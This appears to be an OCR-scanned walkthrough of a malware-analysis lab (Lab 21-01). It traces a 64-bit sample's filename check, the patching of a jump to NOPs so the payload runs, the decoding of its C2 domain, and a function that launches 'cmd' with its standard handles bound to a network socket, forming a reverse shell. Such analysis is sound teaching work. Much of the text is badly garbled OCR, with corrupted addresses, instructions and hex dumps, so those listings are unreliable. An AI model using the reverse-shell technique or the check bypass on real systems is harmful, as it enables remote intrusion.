2:03:1 - Lab21-01 exe 2468 Bl GuenyMamelrfo... C:\Windows' System 32" Kemel Base dll

2031 Lab21-01 exe 2468 gaQueryNameIrrh:\...C'\L"J‘indows'-—,System32'~.KemeIBase.dII

2031 Lab21-01 exe 2468 Ba@ueryNameln‘fo...C Wilindows  System 32 kemel 32 dil

2:03:1 = Lab21-01 exe 2468 BaCreateFile C indows"System 32 apphelp dil

2:03:1 - Lab21-01 exe 2468 gaQueryBasiclnfor...C Windows . System 32 apphelp dil

2:03:1 = Lab21-01.exe 2468 %CreateFile CWindows System 32Mapphelp dil

2:03:1 - Lab21-01 . exe 2468 & Load Image CWindows \System 32happhelp dil

2:03:1 = Lab21-01.exe 2468 gaQueryNamelrrfU...C Wilindows™ System 32 apphelp dil

2:03:1... - Lab21-01 . exe 2468 gaQueryNamelrrfo...C Wilindows . System 32 apphelp dil

2:03:1... "B- Lab21-01.exe 2468 gal:reate File C sers .UserDesktop .BinaryCollection™Chapter_21L%\Lab21-01 exe
2:03:1 = Lab21-01 exe 2468 EhCreateFile CAWindows  System32Nnitdll dll

2:03:1 LabZ1-01 exe 2468 EhCreateFile CWindows™ System 328 kcemel 32 dil

2031 LabZ1-01 exe 2468 EhCreateFile CWindows  System 32 KemelBase dll

2:03:1 = Lab21-01 exe 2468 gaCreateFile C s Windows apppatch'sysmain .sdb

2:03:1 - Lab21-01.exe 2468 Ba(:reate File CnUserstUserDesktop*BinanCollection " Chapter_21L%Lab21-01 exe
2:03:1 - Lab21-01 exe 2468 aCmmeﬁle C s Windows apppatch'sysmain .sdb

2:03:1... - Lab21-01.exe 2468 gaQueryBasiclnfor...C Windows apppatchsysmain.sdb

2:03:1 ‘B- Lab21-01 .exe 2468 %Quer}lBasicln‘for...C WUeers'User'.Desktop*.BinaryCollection*Chapter_21L%Lab21-01.exe
2:03:1 Lab21-01.exe 2468 ga(:reate File C:Users™UserDesktop*.BinaryCollection™Chapter_21L%Lab21-01 exe

Lab21-01 exe

QueryBasiclnfor.

sers i User.Deskiop BinaryCollection®™Chapter_21L%\Lab21-01 exe

Lab21-01 exe 2468 &7 Load Image Wilindows System32ws2_32 dll
2:03:1 = Lab21-01.exe 2468 &F Load Image CWindows \System 32 port 4. dll
2:03:1 - Lab21-01 exe 2468 & Thread Create
2031 = Lab21-01 exe 2468 EMCreateFile CAWindows  System 32 pert 4. dil
2:03:1... - Lab21-01 exe 2468 EhCreateFile CAWindows  System 32 ws2_32 dll
2:03:1... ‘W= Lab2101 .exe 2468 gaQueryNamelrrh:\...C:\L"J‘indows'-.SystemBZ't.wszfﬂz.dll
2031 = lab?1-0] exe 2468 B QuenMamelnfo “UsershUsertDesktop* BinarnyCollection®Chapter_211L % abh21-01 exe
2:03:1 Lab21-01 . exe 2468 IF Thread Exit
2:03:1 Lab21-01 . exe 2468 IF Thread Exit
2:03:1... Lab21-01.exe 2468 Process Exit
2:03:1 ‘W- Lab21-01.exe 2468 HELMSystem“CumentContraol Set \Services bam*StateUserSettings.5-1-5-21-38

RegSetValue |

Lab21-01 . exe

ii-Depending on your version of IDA Pro, main may not be recognized automatically.
How can you identify the call to the main function?
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If we open this in IDA Free 7.0 as a standard AMD64 PE file...

¥ Load a newfile >

Load file C:Users\User\Desktop'BinaryCallection\Chapter_21L\ ab21-01.exe as

Portable executable for AMDE4 (PE] [pebd.dll]
Binary file

Processor type
|MetaPC (disassemble all opmdes} [rneiapc] A Set
Analysis

Enabled
Indicator enabled

Loading segment x0000000000000000 Kernel options 1) |Kernel options 2

Loading offset  x0000000000000000 Processor options

Options
Loading options |:| Load resources
Rename DLL entries

] Manual load

Fill segment gaps
Create segments
|:| Create FLAT group Create imports segment

Load as code segment

We find that we’re dumped into the main function located at 0x1400010CO0.

TUUTUUUU L UUTLULY  , HLL LUULED . LF'.F'LF'.'Ib':U amc -I.ILI—Z.LFI\L-II
aoepeaalieaslece
| ARRARARTARAATACE ; int  cdec] maJ_u.(_].In irt argc, const char **argv, const char **envp)
|eecpeee1480018C0 main proc near
OIABa01eCe
20e00801400818C0 g= dword ptr -348h

aa50020146001800 dwFlags= dword ptr -338h
/0000A8140668168C0 name= sockaddr ptr -336h
f0000801400818C0 WSAData= WSAData ptr -328h
BEERRBE14AE810C8 var 181= byte ptr -181h
f06806014008168C8 Strl= byte ptr -188h
260600801408818C0 var_17C= dword ptr -17Ch
20600801408818(08 var_178= xmmword ptr -178h
f0e00a814068168C0 var_168= gword ptr -168h
20000801408818C0 var 158= gword ptr -158h
200006014008168C0 var_158= gqword ptr -156h
f0600801400018C0 var_l48= gqword ptr -145h
BEPERAE1IARE1ACE var 148- byte ptr -14@h
/0AE0A0140008168C0 Filename= byte ptr -138h
20600801400818C0 Dst= byte ptr -12Fh
|paeeaR1408818008 var_28= gqword ptr -28h

Gappaaal4aaalaCe
Gaoppealdaaalece
GaeppeRldanelecs
aapppaaldanalecCa
Gaeppaeldanalece

U AR T

18h

18h
28h
28h

arg_@= gword ptr
arg_8= gword ptr
arg_le= qword ptr
arg_18= gword ptr

el e

If we instead open this in another disassembler which doesn’t identify the main function, in
this case we’ll open it in Cutter, if we enable offset visibility in Cutter preferences, we can
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see we start at 0x140001750.

@ Preferences x
= Disassembl,
% Style  Metadats
Graph
Debug Disassembly fo}
Appearance
Plugins Show Disassembly as: Mormal -
Initialization Script b (e it = =
Lowercase ~
Show offsets (asm.offset)
Show offsets relative to:  [_] Functions {asm.reloff) Flags (asm.reloff. flags)
[] pisplay the bytes of each instruction {asm.bytes)
Number of bytes to display (asm.rbytes): 10 B
Display flags' real name (asm. flags.real) L
[] show empty line after every basic block (zsm.bb.line) v - '
< > "
movsxd
lea rcx, [ex1
add rax, rcx
Restore Defaults Wor
3

To identify the call to our main function we will need to look for a call, likely after any
‘GetCommandLineA’ checks which may be present. If we examine the underlying structure
of this PE file using Detect-It-Easy (DIE), we can see it was created in C++.

B8 Detect It Easy v3.00 2 ] =
File name
I C:/Users/User /Desktop/BinaryCollection/Chapter_21L lab21-01.exe
File type Entry point Base address Hash
PEGS4 ot DO 140001 T 50 = Disasm 0000000 140000000 Memory map Strings
PE Export Import Resources .MET TLS Overlay Entropy
Sections TimeDateStamp SizeOflmage Resources T
L > 2011-11-16 10:33:26 0000f000 Manifest Version
Scan Endianness Mode Architecture Type
Detect It Easy(DiE) - LE 64 AMDE4 Console
compiler Microsoft Visual CAC++(2010)[-] I 5
linker Microsoft Linker(10.0)[DLLEY, console] 5 |7
Options
Signatures Deep scan About
- Scan

iii-What is being stored on the stack in the instructions from 0x0000000140001150 to
0x0000000140001161?

If we jump to ‘0x140001150°, we can see that some large hexadecimal values are being
stored on the stack.
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22226888110001158 mov byte ptr [rbpt26@8htvar_1784+8Ch], @
agpaeaaliaeallsy mow dword ptr [rbp+2eeh+5trl], 2ZEBCE36Fh
aaaaaaal4aaallsl mow [rbp+268h+var 17C], 657865h
2660808140061168 mow [rbp+268h+var_146], al
BE8333a140001171 mowv [rbp+26@h+Filename], @
aeape88148801178 call memset

2222288140081 170 lea rdx, [rbpt+268h+Filename] ; lpFilename
208080814080 11584 mow réd, 18Eh 3 Nsize
2aa080814680118A wor BCX, ecx 3 hModule
eaeeeee14000118C call cs:GetModuleFileNameA
eaaae2a140801192 lea rcx, [rbp+268h+Filename] ; Str

If we press ‘R’ on these to convert them to an ASCII string, we find the following.

29020000140001150 mov byte ptr [rbpt2eohtvar 178+8Ch], @
BeRE061488681157 mov dword ptr [rbp+2eBh+5trl], '.lco'
AREeeRa140081161 mov [rbp+26@h+var 17C], 'exe’ |

At first glance it looks like the string ‘.Icoexe’ is being stored on the stack; however, this is
because x86 and x64 assembly is little-endian (reversed). As IDA has interpreted this as a
hex value rather than a string, converting it results in backwards values. If we reverse this we
find the following string stored on the stack.

ocl.exe

This is the same value we saw in Lab09-02. Given this, it’s possible the program needs to be
called ocl.exe in order for it to run correctly.

iv- How can you get this program to run its payload without changing the filename of
the executable?

If we examine 0x14000120C we can see that a string comparison looks to take place which is
likely looking for very specific conditions to be met to allow the malware to run (possibly
checking if it is named ocl.exe).

k4
[l =y =]
aaaaeaal4aa0011F4 lea rdx, [ri1i+1] 5 Str2
2aeea281408211F8 lea rcx, [rbp+268h4+Strl] ; Strl
280088 110860 1L1FF  mow réd, 1e«1h : MawxCount
aeeeaa6148001265 call strncmp
aepaaaaldaaal2an test eax, Sax
eaaaaeRlaaaalzec jz short loc_1468601218
_ h 4
= (=1
esaaaaaliaazal 218
28208801408681218 loc_1488681218: s lpwsaData
2288808142821 218 lea rdx, [rspt+368hHiSADatal]
B850 1435361210 mow ecx, 282h 3 wWersionRequested
|eeeaee 14801222 call cs:kWSAStartup
aeaaaaaliaaal 228 test eax, eax
2228140881228 jnz short loc_146@81260E
‘ ¥
iy =1
egaapaaliaaal22C
2202201408281 22C loc_ 148861220 :
2826806814088 122C mow [rsp+368h+targ_ 18], rl4
egaeaea1l48081 2344 mow riad, 2
2228140281238 lea edx, [rax+1] ; type
aaaa006140821230 lea rad, [raxt+s] 3 protocol
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When this comparison fails, the program makes a jump to 0x14000120E, which then makes a
jump past the primary functions of this malware at 0x140001213, to loc _1400013D7.

sl =]

BBeBEE1 466681 28E

Bee0080146068120E loc 14880128E:
aaaa08 146881 268E mov eax, 1
Bee0E88140881213 jmp loc_ 148801307

One way we can make this program run its payload without changing the filename is to
ensure that even after it fails this check, instead of jumping to loc_1400013D7, it flows right
into the primary function which triggers the payload.

If we run this in a debugger such as x64dbg (at this point we’re introducing a newer, more
robust debugger which supports 64-bit debugging), we can find the jump located at
0x140001213.

BRH CPU | . Log |t Motes ® Breakpoints ¥ Memory Map [} call Stack =7 SEH s3] Script @] symbols <> source +' References
F 48: 8D8D EOQOQOOO00 1ea rcx,qword ptr ss:|[Erbp+EO0Q .
41:BE8 04010000 mov r8d, 104 rad: & Ax\n€ | e
EE 26020000 cdll l1abzi-01.140001440
85C0 test eax,eax
v 74 DA je 1ab21-01.140001218
£ e —e
~r—E9 BFO10000 jmp=1ab21-01. 1400013D7
T W 3 cher s —pit +40
B2 02020000 mov ecx,z0z2
FF15 BOSFOOO0 €dll gword ptr ds:[<&WSAStartup:>]
85C0O Test eax,eax
~| 75 E2 ine Tab21l-01.14000120E
4C: 898424 538030000 mov qword ptr ss:[Ersp+3ssf,ria
41:BE 0Z000000 mov ri4d,z
8D50 01 lea edx,qword ptr ds:[rax+1] .
44:8D40 06 1ea r8d,gword ptr ds:[rax+s] r8d: &"_ _Ax\ne | 2
45:33C9 xor rad,rad
41: 8BCE mov ecx,rl4d
895C24 258 mov dword ptr p+28, ebx
895C24 20 mov dword ptr jrsp+20f, ebx
FF15 9BSFOO0D €all gword ptr ds:[<&WSASocketAx]
48: 8BDE mov rbx,rax
48:83F8 FF cmp rax,FFFFFFFFFFFFFFFF
~| OF84 4F010000 je 1ab21-01.1400013B1
45: 89B424 TOO30000 mov gqword ptr ss:[Ersp+37oll,rsi
B2 00010000 mov ecx, 100
4C:89A424 73030000 mov gword ptr ss:lffrs 78f,r1z
4C: 89ACZ4 BOO30000 mov qword ptr ss:ffrsp+350§,r1i3
EE 74020000 call Tabzi-01.1400014F8
48:83C9 FF o FCX FFFFFFFFFFFFEFEF
4C: 8BDS mov ril,rax
33CO XOor eax,eax
45: 8DBD FOOOO00 1ea rdi,gword ptr ss:[Brbp+Fof
F2:AE repne scasb
4C:8D85 01010000 1ea r8,qgword ptr ss:[firbp+101§
4C:8DED 02010000 lea r9,qword ptr ss:[frbp+i1o2§
45: 8DBD 00010000 lea rdi,qword ptr :frbp+100§
4C:8D395 03010000 lea rio,qword ptr ss:|irbp+103§
48:F7D1 not rocx .
4D:2BC3 sub r8,rii rg:&" _Ax'ne| sa"
4D : 2BCB sub ro,ril
49: ZBFB sub rdi,rii
4C:8D69 FF lea ri3,qword ptr ds:[rex-1]

Tabzi-01.00000001400013D7

. Lext:0000000140001213 1ab21-01. exe: $1213 #613

B4 Dump 1 @44 Dump 2 @44 Dump 3 @44 Dump 4 @y Dump 5 B8 watch 1 |x=] Locals é}" Struct

Address 1 ASCIT

0000000 1L4000121 1 OD(0D|48 8D 54|24 40 B9 02|02 00 DO FF .é_g_. oH.TEE .. .. W
0000000 L4000122 85 CO 75 (E2 4C 89 B4(24 88 03 00| .°_ SAUEL. ..
0000000 L40001233 00 00 OO0 BD |50 O1 44 8D |40 06 45 33| .A%.....P.D.G.E3
0000000140001243|(C9 41 8B CE|89 5C 24 28|89 5C 24 20(FF 15 9B 5F|EA. L.\ (.08 V. ._
0000000140001253 | 00 00 453 BB |DS 48 83 F8|(FF OF 84 4F |01 00 00 48|..H.BH.e¥..0...H
AnAnaanne annanaacrasl o ma s Talas Aan ma malaa oma An Al e o pa aa ma - 1 " -

From here it can be modified to instead perform no operation, effectively allowing the
program to flow into its payload.
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B Lab21-01.exe - PID: 1944 - MModul lab21-01.exe - Thread: Main Thread 1.A68 - x64dbg [Elevated]

Wi Debug Trace Plugins Fawvourites Options Help Aug 16 2020
S o= | = @ T S @ F e | = e P e # | oas —
B cru | & 1Leg rMotes ® Breakpoints = pemory Map [ call stack = SEH l<=| script ] symbols <> Sou
- S5: 808D EOO0O0DDOOO Tea rox,gword ptr =s:IBrbp+EOl
- 21 :B8 04010000 mow  rSd, 1o
- ES8 3602000 EETl 1abZ1—01. 140001330
- ssco Test cax,cax
- Tax 3 = 40001218
r B8 oloooooo eax, 1
=
S0
H =0
H S0
20
- 45:SD53Z2% 20 rclx.qwcw:l prr ss:Brsp+s0oil
: FF15 BOSFO0O00 E=EE qword PTr ds: [eewSasTartues]
ssco test_cax,ea
———— ~ 75 E=2 Sne T1obsi-oi. 1s000120E
S SHHAS L e Rl O qwcwd _pEr ss:Ersprzssll.ris

mow ecx ., 1ad
mov dword pre
mow  dword

ol -
T2RwEREa sl iensg

B ceor e O
mow b, max
Cmp_rax,FEFEFEEEEEFEEERER

55
e
P

= Es EEEE 1abZi-01.1400014FS

52 48: 83CS FF or rocx,FFEEFEEEEEEE

ss C 2 mow rad, rax

=8 3I3COo xOr eax.,

sD a8 BD FOOOOOO0 Tea rdi,.qword prtr

xS E2:AE repne sc

D 4C : SDS5 OLOLOOO0 Jea rs,gword ptr

E=1 4C : SDSD O0Z0L0000 dea ro,qword pTr

- 48: SDBD OOO0LOOOO dea rd word pT

AB 4C : SD95 03010000 lea rio.aword PT

B2 48:F7DL NoT rox

- TEexXT: 0000000120001 2L3

g% Dump 1 @i Dump 2 44 Dump S B wwatch

Address |

DOOOD0OD0LFO00 L= 1 S50 oo |SO|ss S0 sal=zs a0 =5 o= oo FE
SOODDO0L FO00LZ 2 E= 25 co 75 |EZz ac =3 B3 03 oo
SOODO00L A00LEES BEE Oz |00 OO OO0 BD |50 01 a4 8D a5 =3
OOOO000L A00LE 23 82 CE |89 s5Cc 24 z&8|83 sc za =0 a8 =&
SOOO000L $000LE5 S 45 8B |D8 48 83 F8|FF OF 83 aF o0 %8
SOOO000L 4000165 za ro|03 oo oo B3|00 01 OO OO As za
OOO0000L 00017 S o0 0o0|4c 85 Aac za|s0 0= oo oo oz oo
SO00000L 400012835 85 cs|FF 4c 8B D8|33 co a8 so oD oD
OOOO000L 0001 S AE ac 85 01 01|00 OO 2c SO oL oo
SOOO000L SO00LZAS s0 BoD |00 01 OO0 OO|4c SD S5 O3 oo 48
SOO0000L 40001265 40 =B |c3 40 zB CcB|a5 =B FB aC FE =
0000000130001 2C 3 49 8B |F2 3D 2B D3 |0F 1F 33 oo a

If we set a breakpoint at our new NOP values, we can use F9 to run the program and see it
hits them without issue. If we then hold F8 to step over functions, we will begin to see a
decoding routine runs which gives us a known C2.

fle Vew Debug Irace Plugins Favourfes Optons Hep  Aug 16 2020

Z2oE sl e taxBifsoveLn# L BE
Bicu  [Glog  [llMotes  ® bredgoints M MemoryMep [ CallStack  S9SEH  lvlSapt  Fsymbok <2 Sowce S References W Threads i Handes
0 35CE mov_ecx, =
48iFRLS o£020200 call uwnrd ot ds: IS e Hadeiert
e op e ’ RAX  00000000D000DOGD
2ad repzn REX  0000000000002AFS
pop rit’ RCX  167254F5C45C0000
pop ris DX 00000000D000DOOO
pop r12 BEP  00D00D00DO0DDOGD
ASEEDS9BA pop rdi . practicalmalwar sanalysis. comr SOMPI\IBIrRoArReArR AR oA D eNrD. | BSE 000000000014 gH
EFASSEDE9BS pop rsi - — \FDe\FDe\FDo\rDo\FDo\FDENFD | RST Q0000000007 "\rae\rae\rae\ras
pop rbp R51 000000000077 1620 wew. practicalmal
pop rbx
2 RS 00000000004DD101

ints 10  DOO0D000004D0000
ints R11  D0ODDDO0DOLETDOD
ints ®12  0000000000000022 "'
ints R13  D000OOODO00000C
ints R13  0000000000000002

RIS  D0DODOOODDOOODOD
s: [raxts],rbx
riszal, by RIF ws2_32. 3

L S o S N N T T [ s e
rdi: "wnw. practi calmalnar eanalysis. com\roe\roe\rds\rBe \ros\ras\roerosvraeNroevrd | BE O BE 1 AE O
cFo TFo IF1

Lasterror 00002AF9 (WSAHOST_NOT_FOUND)

mov rdt quord ptr ds:[rex] [Jre: "o, pracescaimatnar sanatysis. comroe] rastraeiroe\rae oo\ rae\ras\ ras\ra2\rd | LastStatus 0000000 (STATUS_SUCCESS)
Xor ebp)
mov r1dd,17s i i i i i | s o028 s oos3
o PS1E ML FDO\FDEFBS\FDS L FDS\FDO\FDE L FDONFBS\ DO DS\ FRE\FDO\FDO\FBE\FDO\FDS\FDOAFD | ES 0028 DS 0028
oV DwoPd per ds:[rax+10], ridd Cs 0033 53 00z8
mov riz,rc
“ 5% Nsa_i2 7eeasssosseR ST(0) 00ODDD00DOOODDAOD XE7rD EMPEY D.0DC
andqword per 42: 031,709 ST(1) 00ODDOOODOO0DDOODO0D XS7r1 EMPTY ©.0DC
mov cbx <
Xor cdx ) edx

mov rad, ebx v Deram(xs”astmlﬂ
Cx 16725 4FSCHECO000
rdx
s 0000000000400101
'3 00D000DDO00DOO
[ spe25] 000000000D7F1650 “ww. practicaln

rBp=0

- TeXT:00007FFASS5D5986 ws2_32.d11:$25986 #24086

444 Dump 1 Wioump3  @4oumps  W4oumps @ watcht  bellocals 7 struct 0! 0000000000000D S
e T 1 o0 00007FFASSSD67DB| return to Ws2_32.00007FFASSSDS7DE T1
0000000140001213 54|24 40 B9 02]02 00 00 FF
0000000140001223 5|E2 C 89 B4|23 53 03 00 phiai: =
0000000140001233 23(89 5C 23 20 FF 15 98 5F oS
0000000140001253 | 00 F8|FF OF 84 3F 01 00 00 38 e
0000000140001263 E9(00 01 00 00|4C 89 A% 2 25
c 24(80 03 00 00|ES 72 02 O o
00 43 83 C3|FF 4C 85 D3|33 CD 43 8D [BD FO 00 00
0 F2 AE 4C(8D 85 01 01(00 00 4C 8D |ED 02 01 0D
12A3(00 45 S0 BO(0D 01 00 00(4C 8 95 03|01 00 00 48
1283| F7 DL 4D 28(C3 40 28 CB[43 2B FB 63 FF 45 S
23|88 EG 49 SB|F3 4 28 D3|OF LF 44 00|00 41 D 4 e A
RocoNua tanaracade e da celre B anDyoc E an e AL 3000200000000004
2E3| 05 FO DO 0D|0D 41 8D 44|21 FF 32 4€|37 FC 95 88 G000000010000000)
00000001400012F3 | 4€ FC 41 F7|FD 48 63 C2|OF B6 &C O |FO 00 00 00 7
0000000140001303 | 41 88 C4 41(32 4C 30 FC|99 88 4E FD|41 F7 FD 48 QOCO7EEASEREZ0 1 ERLUEE) £0. MY L CODOTERAISERRIDY fex
0000000140001313 |63 C2 OF BE(SC 05 FO 00|00 00 41 8|44 24 01 41 |ch. &

At this point we can be confident that the check used to determine if the filename of the
executable is correct has been bypassed.

v- Which two strings are being compared by the call to strncmp at
0x0000000140001205?
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Using x64dbg we can easily create a breakpoint at 0x140001205 and see the two strings
being compared stored in RCX and RDX. After setting a breakpoint and pressing F9, to run
the program until we hit it, we can see the values being compared are the binary name
(Lab21-01.exe) and the string jzm.exe.

8¢ Lob21-01.exe - PID: 1AD4 - Module: 18b21-0.exe - Trreac Main Thresl 100 - xidb Elevated]
Eile View Debug Trace Plugins Favouites Options Help Aug 1652020

CDE S0 ‘NS taleEsPrr a0 B

Bou (g [Untes  ® wesponts  MMemoyMap (N CalStek  Sised  [olsapt  Esymbos < sowce S References  PThveads  @iHondes 7 Trace
Shreax,1E
2da_sdx; eax edx 01. exe o
ecx. ~exe”, edx:'Lab21-01.exe | RAX  ORAGHEGINONG
= RCX | 000000000014FDED 3z exe”
ROX _000000000014FDES __“Labsi-01.exe”

RSP DDDDO0ODOOL4FEED
RSI  000000000000000O
RDI  00DOOOOOOD00000S

rdx:"Lab21-01. exa", ri1+1:"Lab21-01.exe ey S
R9  000000DDDOI4FDEO  *Ci\\Users\\User\\Desktop\\Binarycollectiom\\
R10  0000000000450000

RI1L  00DO00DDDDLAFDE

B2 "\\Labz1-01.exe”
R12  000000000D00000D

RI3  DODDOOODDOOODOOD

~[E9 BF010000 Jmp 1ab31-01. 140001307 R1s  0000000000000000

EF15 805F0000 52 [<amsastartups] RIP 2 Tab21-
sc0
RFLAGS  0000000000000344
ZE1 PE1 AF O
OF 0 SFo DF O
cFo Tr1 TFa

edx: "Lab21-01. exe:
user\\Desktop\\BinaryColle .
e Lasterror 00000000 (ERROR_SUCCESS)
ss5c24 28 LastStatus 0000034 (STATUS_OBIECT_NAME_NOT_FOUND)
595C23 20
FF1s 985F0000 Gs 0028 Fs 0053
05 Es 0028 DS 0028
cs 0033 ss oozm

" sT(0) x87r0 Empty
SRl zmas s1(1) x&7rl Empty
s12) x87r2 Empty
ST(3) x87r3 EmpT,
rex: " jzm, exe ST(3) x87r4 Enpty
r12i"{Cab21-01. exe ST(s) xa7rs Empty
sT(8) X87r6 EMpLY
ST xa7r7 Empty

xs7Tagword FFFE
X87TW.0 3 (Empty)  Xx87TW.1 3 (Empty)

o
X&7TW7 3 (Empty)
s
0 xe7SWC2 o
s 0 x87SWES O
F3 0 0
03 0 xe7 o
F1F4400 00 0 (5To=x87r0)
:eD3424 FE

xs7Controlword 0278
XS7CW_IC O x87CWZM 1 x87CW_PH 1

tE7ED
sieacz edx: "Lab21-01. exe: « | Default (x64 fastcal)
EZarnc cnnnnnnn Lcna e

© rox 000000000OI4EDED “izm: exe”
: rdx 00000000001$FDE3 “Lab21-0L.exe”

£ 0000000000

3 000000000014FDBO "C:\\Users\\User\\Desktop\\ginarycollection\\Chap
[rsp+20] 0000002000001000

Taba1

- TeXT:0000000140001213 1ab21-01. exe: $1213 #613

Woumpt  @hoump2  WiDump3  WiDump4  WDumpS @ Wathi  I-llocas ) Stuct

Based on this we know that some transformations must be occurring on the string ocl.exe
before being used in this comparison.

vi-Does the function at 0x00000001400013C8 take any parameters?

Jumping to the function at 0x1400013CS8, it isn’t immediately obvious in IDA or x64dbg
how many parameters it takes, but what we do see is RBX being moved into RCX.

-t 0000014000108 14801352 cal]
ot -
s text 0o0000014000176:
et 005009149001380
s e
t 0000014000190

oE su taws tal
[ R )
ol

[r—

Hie Fru

e oonorer pe13BL

e, 1
o |short Loc_1sea013ce

CerT ey

$hompL  Ehows? 0wl EDumd  Eows

2 BL466013CF Loc_1400013CF
$1480013CF movr14, [rs

Because we know RCX, RDX, R8, and R9 are the first 4 parameters of any given function
call in a 64-bit OS, we know that whatever is within RBX at the time of this call will be
passed to the function at 0x1400013C8 (sub_140001000). By looking at what is being passed
to this in IDA prior to the call, we can see that it is RAX, or more specifically a pointer to the
socket returned by WSASocketA.
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A J
22e2008140801218 loc_149@81218: 3 lpwWsAData
POREER0140001218 lea rdx, [rsp+36@h+WsAData]
PEEEEEE146801210 mowv ecx, 282h ;3 wVersionRequested
2800000148801222 call cs:WSAStartup
eepeepeldeaal228 test eax, eax
BO0BERB148BB1224 jnz short loc_148001268E
v
I
BaobpRelde00122C
292888814888122C loc_14888122C:
/00600014000122C mowv [rsp+368h+arg_ 18], rl4
Ba0ee08148001234 mov riad, 2
200000014080123A lea edx, [rax+l] ;3 type
2908888148881230 lea réd, [rax+e6] 3 protocol
2002666148881 241 xor rod, rod 3 lpProtocolInfo
| 2060000 146606871 244 moy ecx, rlad s af
2000000140801247 mov [rsp+36@h+dwFlags], ebx ; dwFlags
BEPEB2A148881248 mov [rsp+36@h+g], ebx ; g
200600014060124F call cs:WSASockethA
2066606148881 255 mowv rbx, rax
[Goooooo [ A0e8 1258 cmp GEEPIN:Lilalalalalslslalalal ol ol of of of of o
29E888814888125C jz loc_1488a13B1
v
I
eppaeaalieRl2e2
aea2000140801262 loc_148881262:
2022020148881262 mov [rsp+36@h+arg_@], rsi
2000008148801 264A mowv ecx, 186h 5 Size
8000000140881 26F mov [rsp+368h+arg 8]. ri2
2022020148801 277 mov [rsp+36@8h+arg_18], ril3
2002020140801 27F call malloc
e000000140081284 or rcx, BFFFFFFFFFFFFFFFFh
2002806801 400081285 mowv rll, rax
aaaaa0214880128E xor eax, eax
2020000140801 280 lea rdi, [rbpt+268h+wvar_178a]
222022021428881294 repne scasb
2EAR020140001296 lea r8, [rbp+268h+var_168+1]
20e0RE01408001290 lea r9, [rbp+26@h+var 16@+2]
aea20801408012,4 lea rdi, [rbpt+268h+var_168]
B0000001400012A8 lea rie, [rbp+26@h+var_168+3]
eppaeaaldeeel2B2 not rcx
aea2000148881285 sub ré, rll
aea2020148881288 sub rg, rll
epaaeal400812BB sub rdi, ril
2022000140821 2BE lea rl3, [rcx-1]
eapaeeal4aeel2C2 mov rl2d, rlad
eppaeal4a8el2C5 mov rsi, ril
epaaeealianl2C8 sub rle, ril
2008808140881 2CE nop dword ptr [rax+rax+@eh]

By viewing the start of sub_140001000 in IDA we can also see that rcx is being stored back
into rbx which is then being used for the standard input, output, and error destination
meaning that all output will be redirected to this socket.
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G0EH0O01400010606 ;org 1408810086H

200a000140001008 assume es:nothing, ss:nothing, ds: data, fs:nothing, gs:nothing
eaaaaaelisaalees

eaaaaaalisaalbes

gapaeanlianalons

B020801480010088 sub 148881888 proc near

eoaaaaalispalons

@000000140001008 bInheritHandles= dword ptr -8C3h

@0a0000140001008 dwCreationFlags= dword ptr -8C@h

000000140001008 lpEnvironment= qword ptr -8B3h

B0000001460601808 lpCurrentDirectory= qword ptr -8B8h

G0e0000140001008 lpStartupInfo= qword ptr -8A3h

BBo0000140001000 lpProcessInformation= qword ptr -BASh

2000000140081008 ProcessInformation= PROCESS INFORMATION ptr -98h
epaepenldnealead StartupInfo= _STARTUPINFOA ptr -78h

eaaaaaalisnnlees

apeeReRl4BeR1eRe push rbx

B0eERER148001882 sub rsp, BEdh

BEEEAEE148881889 xor edx, edx i Val

[p0e0000146001068 mov rbx, rex

|Bea0e014000100E Lea rcx, [rspHeEgh+StartupInto] ; Dst
|060000140001013 lea réd, [rdx+68h] ; Size

eaeape81400010817 call memset

20814888181 C xor eax, eax

B0000p0140068101E lea rdx, CommandLine ; "cmd"”

2002000140081025 mov [rsp+8EBh+ProcessInformation.hProcess], rax
a0e00001408801024 mov [rsp+BEBh+ProcessInformation.hThread], rax
|0ee00014880102F mov gword ptr [rsp+8E8h+ProcessInformation.dwProcessId], rax
|peeReRl4RRR1034 lea rax, [rspHeEs8h+ProcessInformation]
866008001488816839 xor rad, rod 3 lpThreadAttributes
800008014888183C xor réd, rad 3 lpProcessAttributes
B00000014000103F mov [rsp+2E8h+1pProcessInformation], rax ; lpProcessInformation
20ea000140001044 lea rax, [rspHeEsh+startupInfo]

2062000140001849 xor ecx, ecx 3 lpApplicationName
B000000146001048 mov [rsp+@EBh+1pStartupInfo], rax ; lpStartupInfo
SBaaaE148881858 xor eax, eax

BB00B060146001052 mov [rsp+@E8h+StartupInfo.cb], 68h

2000000140081054 mov [rsp+8E8h+1pCurrentDirectory], rax ; lpCurrentDirectory
apeeae014880185F mov [rsp+BEBh+1pEnvironment], rax ; lpEnvironment
apeeaea148801064 mov [rsp+BEBh+dwlreationFlags], eax ; dwCreationFlags
B0EERE014B001868 mov [rsp+eEBh+bInheritHandles], 1 ; bInheritHandles
20600000148001070 mov [rsp+BEBh+5tartupInfo.dwFlags], 18eh
BBEEEE014880187E mov [rsp+eEBh+StartupInfo.hStdInput], rbx
B060000146001033 mov [rsp+@E8h+5tartupInfo.hStdError], rbx
|0e0000146001038 mov [rsp+2E8h+StartupInfo.hstdOutput], rbx
eaeaee8140081093 call cs:CreateProcessA

[GEPEEeE [A00B L50d mov TCX, [IFSpr@cohrProcessintormacion.nProcess] 3 hHandle

60000001 4600169E or edx, BFFFFFFFFh ; dwMilliseconds
200a0061400681041 call cs:WaitForSingleObject
22e20e01408018A7 xor eax, eax

fa6aaaa014100010A9 add rsp, 8Edh

20E8ABRA140BA10B8 pop rbx

eaaaae8148881881 retn
|0ee200148001081 sub_ 148081888 endp
aoaaaaalippalBEl

Based on this we know that the function at 0x1400013CS8 takes 1 parameter, the socket to our
C2.

vii-How many arguments are passed to the call to CreateProcess at
0x0000000140001093? How do you know?
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It’s not immediately clear how many arguments are passed to the call to CreateProcessA at

.cb], &8h

[rsp+eEBh+lpCurrentDirectory], rax ; lpCurrentDirectory
[rsp+eEBh+1lpEnvironment], rax ; lpEnvironment
[rsp+BEBh+dwCreationFlags], eax ; dwCreationFlags
[rsp+@EBh+bInheritHandles], 1 ; bImheritHandles

.dwFlags], 188h
hstdInput], rbx
.hStdError], rbx
chstdoutput], rbx

0x140001093.
T R T Luay Lua
|paeeRa148801852 mov [rsp+eEBh+5tartupInfo
apepaaaldeanlass mov
apeaaaalieaalasF mov
epapaealdieaalocd mov
oegaeaaliaaalass mov
/BEBBE148001678 mov [rsp+BEBh+5tartupInfo
epaeeRaliaea187e mov [rsp+eEBh+5tartupInfo
epaeeaa148801883 mov [rsp+eEBh+5tartupInfo
